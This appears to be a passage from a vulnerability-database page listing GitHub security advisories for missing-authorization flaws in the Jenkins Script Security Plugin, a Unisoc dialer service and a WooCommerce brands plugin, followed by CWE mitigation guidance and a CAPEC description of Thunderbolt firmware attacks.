"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JV82-75FH-23R7
Vulnerability from github – Published: 2024-11-13 21:30 – Updated: 2024-11-14 15:35Jenkins Script Security Plugin 1367.vdf2fc45f229c and earlier, except 1365.1367.va_3b_b_89f8a_95b_ and 1362.1364.v4cf2dc5d8776, does not perform a permission check in a method implementing form validation, allowing attackers with Overall/Read permission to check for the existence of files on the controller file system. This allows attackers with Overall/Read permission to check for the existence of files on the controller file system. Script Security Plugin 1368.vb_b_402e3547e7 requires Overall/Administer permission for the affected form validation method.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:script-security"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1368.vb"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52549"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-14T15:35:54Z",
"nvd_published_at": "2024-11-13T21:15:29Z",
"severity": "MODERATE"
},
"details": "Jenkins Script Security Plugin 1367.vdf2fc45f229c and earlier, except 1365.1367.va_3b_b_89f8a_95b_ and 1362.1364.v4cf2dc5d8776, does not perform a permission check in a method implementing form validation, allowing attackers with Overall/Read permission to check for the existence of files on the controller file system. This allows attackers with Overall/Read permission to check for the existence of files on the controller file system. Script Security Plugin 1368.vb_b_402e3547e7 requires Overall/Administer permission for the affected form validation method.",
"id": "GHSA-jv82-75fh-23r7",
"modified": "2024-11-14T15:35:54Z",
"published": "2024-11-13T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52549"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/script-security-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2024-11-13/#SECURITY-3447"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Missing permission check in Jenkins Script Security Plugin "
}
GHSA-JV82-JG3G-R3XW
Vulnerability from github – Published: 2023-05-09 03:30 – Updated: 2024-04-04 03:54In dialer service, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges.
{
"affected": [],
"aliases": [
"CVE-2022-48371"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-09T02:15:11Z",
"severity": "MODERATE"
},
"details": "In dialer service, there is a possible missing permission check. This could lead to local information disclosure with no additional execution privileges.",
"id": "GHSA-jv82-jg3g-r3xw",
"modified": "2024-04-04T03:54:29Z",
"published": "2023-05-09T03:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48371"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/1654776866982133761"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JV99-WF4F-255J
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-23 15:33Missing Authorization vulnerability in BeRocket Brands for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Brands for WooCommerce: from n/a through 3.8.2.2.
{
"affected": [],
"aliases": [
"CVE-2023-44149"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T15:15:26Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in BeRocket Brands for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Brands for WooCommerce: from n/a through 3.8.2.2.",
"id": "GHSA-jv99-wf4f-255j",
"modified": "2026-04-23T15:33:54Z",
"published": "2024-12-13T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44149"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/brands-for-woocommerce/vulnerability/wordpress-brands-for-woocommerce-plugin-3-8-2-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.